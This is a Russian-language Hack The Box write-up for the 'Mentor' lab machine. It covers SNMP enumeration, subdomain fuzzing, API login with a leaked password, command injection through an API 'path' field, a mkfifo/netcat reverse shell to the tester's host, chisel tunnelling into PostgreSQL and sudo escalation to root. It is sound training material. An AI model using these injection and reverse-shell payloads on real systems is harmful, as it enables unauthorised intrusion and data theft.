Хакер - HTB Mentor. Извлекаем информацию из SNMP и пентестим API веб-сервиса
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- Сканирование SNMP
- Сканирование веб-сервера
- Точка опоры
- Продвижение
- Локальное повышение привилегий
- Пользователь james
- Пользователь root
В этом райтапе я покажу, как работать со службой SNMP, чтобы получить информацию, которая поможет в продвижении атаки. Также мы взломаем сайт и получим RCE благодаря уязвимости в API.
Наша цель — захват учебной машины Mentor с площадки Hack The Box. Уровень сложности — средний.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.193 mentor.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Скрипт нашел два открытых порта: 22 — служба OpenSSH 8.9p1 и 80 — веб‑сервер Apache 2.4.52. На порте 80 также отмечаем редирект на сайт http://mentorquotes.htb/. Так как мы раскрыли новый домен, добавляем и его в файл /etc/hosts.
10.10.11.193 mentor.htb mentorquotes.htb
Также всегда стоит проверять четыре порта UDP, где может работать служба SNMP.
sudo nmap -p161,162,10161,10162 -sU 10.10.11.193

И мы видим, что SNMP работает на порте 161. SNMP — это протокол прикладного уровня, он делает возможным обмен данными между сетевыми устройствами. Протокол позволяет системному администратору проводить мониторинг, контролировать производительность сети и изменять конфигурацию подключенных устройств.
В SNMP используется модель безопасности сommunity-based (на основе строки сообщества). Фактически это идентификатор пользователя или пароль, который отправляется вместе с запросом. Если строка сообщества неверна, агент игнорирует запрос. Давай попробуем пробрутить эти community-строки сканером onesixtyone.
onesixtyone -c snmp_default_pass.txt 10.10.11.193

Нашли только дефолтную строку public, ничего полезного она нам не дала.
ТОЧКА ВХОДА
Сканирование SNMP
У меня бывали случаи, когда популярные средства сканирования комьюнити‑строк ничего не находили, а строки все же существовали. По этой причине следующим скриптом пробуем запросить базовую информацию с помощью snmpbulkwalk по каждой строке из словаря. В итоге раскрываем еще одну комьюнити‑строку internal.
while read line; do
echo $line ; snmpbulkwalk -c $line -v2c 10.10.11.193 . 2>/dev/null | head -n 1
done < /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt

Говоря о SNMP, стоит упомянуть MIB. MIB — это иерархическая база данных со сведениями об устройстве. У каждого типа устройства своя MIB-таблица: у принтера в ней содержится информация о состоянии картриджей, а у коммутатора — данные о трафике. Благодаря MIB сетевой менеджер знает, какую информацию он может запросить у агента устройства.
Каждый объект в MIB имеет свой уникальный ID — OID, который представлен в числовом формате и имеет иерархическую структуру. OID — это числовой эквивалент пути к файлу. Он присваивает значения каждой таблице в MIB, каждому столбцу в таблице и каждому значению в столбце.
Так, по OID 1.3.6.1.2.1.25.4.2.1.2 мы можем запросить процессы на сетевом устройстве.
snmpbulkwalk -c internal -v2c 10.10.11.193 1.3.6.1.2.1.25.4.2.1.2

Видим, что запущены скрипты login.sh и login.py, а также процесс docker-proxy. У каждого процесса есть так называемая cmdline — полная команда со всеми параметрами, которая передается исполняемой командной оболочке. Запросить их можно по OID 1.3.6.1.2.1.25.4.2.1.5.
snmpbulkwalk -c internal -v2c 10.10.11.193 1.3.6.1.2.1.25.4.2.1.5

В результате получаем какую‑то интересную строку, передаваемую процессу login.py. Возможно, это пароль. Переходим к серверу.
Сканирование веб-сервера
На сервере расположен сайт‑визитка, ничего интересного найти не получилось.

Так как мы знаем реальный домен, попробуем найти другие сайты, для чего будем сканировать поддомены. Для этого я использую легковесную утилиту ffuf.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-w— словарь (я использую словари из набора SecLists);-t— количество потоков;-u— URL;-H— заголовок HTTP.
Место перебора помечается словом FUZZ.
Команда получается следующая:
ffuf -u http://mentorquotes.htb -w subdomains-top1million-110000.txt -t 256 -H 'Host: FUZZ.mentorquotes.htb'

В результат сканирования попадают все варианты из списка, поэтому нужно использовать фильтры (я фильтровал по коду ответа):
-fc— исключить из вывода код ответа;-mc— выводить ответы, кроме тех, что в параметре fc.
ffuf -u http://mentorquotes.htb -w subdomains-top1million-110000.txt -t 256 -H 'Host: FUZZ.mentorquotes.htb' -fc 302 -mc all

И находим новый сайт на поддомене api. Добавляем его в файл /etc/hosts.
10.10.11.193 mentor.htb mentorquotes.htb api.mentorquotes.htb

Теперь просканируем конечные точки API. Используем все тот же ffuf.
ffuf -u http://api.mentorquotes.htb/FUZZ -w directory_2.3_medium_lowercase.txt -t 256

Из полученного списка точек доступны только /docs и /redoc.


На странице видим почтовый адрес пользователя james.
ТОЧКА ОПОРЫ
Попробуем получить токен доступа, авторизовавшись с найденными почтовым адресом и паролем.
{
"email": "james@mentorquotes.htb",
"username": "james",
"password": "kj23sadkj123as0-d213"
}


Получив токен, переходим к Burp Repeater и выполняем запрос к странице администратора.

Раскрываем еще две конечные точки: /check и /backup. Но обращение к первой не дает результатов, а для второй нужно изменить метод запроса с GET на POST.


Чтобы легко поменять метод запроса, в Burp достаточно вызвать контекстное меню и выбрать пункт Change Request Method.

В ответе получаем новую наводку: необходимо указать параметры. Один параметр body берем из текста, этого оказывается недостаточно. Так как обращаемся к API backup, укажем параметр path.
{
"body":"test",
"path":"/etc/hosts"
}

Нам отвечают только, успешно или нет завершилась операция. Высока вероятность, что путь к файлу передается в команду терминала, поэтому необходимо проверить наличие инъекции команды ОС. В качестве маяка будем использовать запрос на собственный сервер, для этого и открываем листенер nc -nlpv 80.
Я перепробовал несколько нагрузок, и в результате удалось найти верную. Заодно выяснилось, что на сервере отсутствует программа curl. Так что если ты используешь нагрузки только с curl, то стоит сделать подобные для wget и Python.
{
"body":"test",
"path":"/etc/hosts;wget http://10.10.14.11/test_rce"
}


Так как присутствует RCE, кидаем реверс‑шелл:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.11 4321 >/tmp/f;.
{
"body":"test",
"path":"/etc/hosts;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.11 4321 >/tmp/f;"
}


ПРОДВИЖЕНИЕ
Попадаем в контейнер Docker, где и работает уязвимое приложение. Приложение использует базу данных, и мы можем получить учетные данные для подключения к ней, а в ней найдем логины и хеши паролей пользователей. Пароль от базы находим в файле db.py.

Теперь мы можем авторизоваться в СУБД, но, чтобы получить доступ к порту PostgreSQL, нужно построить туннель. Для этого будем использовать chisel. На локальном хосте запустим сервер, который будет ждать подключения (параметр --reverse) на порт 8000 (параметр -p).
chisel.bin server -p 8000 --reverse

Теперь на удаленном хосте запустим клиентскую часть. Указываем адрес сервера и порт для подключения, а затем цепочку проксирования: порт 5432 локального хоста на порт 5432 хоста 172.22.0.1.
chisel.bin client 10.10.14.11:8000 R:5432:172.22.0.1:5432

В логах сервера должны увидеть сообщение о создании сессии.

А теперь подключаемся к СУБД PostgreSQL и получаем существующие в базе таблицы.
psql -h 127.0.0.1 -U postgres -d mentorquotes_db
/d

Таблица users, вероятно, содержит учетные данные, поэтому получим из нее все записи.
select * from users;

Получаем хеши двух паролей, один из которых мы уже знаем, поэтому второй проверяем по онлайновой базе.

С полученными именем пользователя и паролем авторизуемся по SSH и забираем первый флаг.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Пользователь james
Теперь нам необходимо собрать информацию. Я для этого использую скрипты PEASS.
Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате.
Загрузим на хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе будет много информации, поэтому отберем только значимую.
Среди активных пользователей с командной оболочкой отмечаем пользователя james.

Находим доступный для чтения файл конфигурации SNMP /etc/snmp/snmpd.conf.

Конфиг может содержать пароли и секретные строки, этот не оказался исключением.

Пробуем использовать найденный пароль для пользователя james и становимся на шаг ближе к захвату машины.

Пользователь root
Разведку на хосте уже проводили, мало что может измениться со сменой контекста. Но одно из мест, которые все же стоит проверить, — настройки sudoers.
sudo -l

Справка: sudoers
Файл /etc/sudoers в Linux содержит списки команд, которые разные группы пользователей могут выполнять от имени администратора системы. Можно просмотреть его как напрямую, так и при помощи команды sudo -l.
Таким образом мы можем без ввода пароля получить привилегированную оболочку /bin/sh.
sudo /bin/sh

Машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei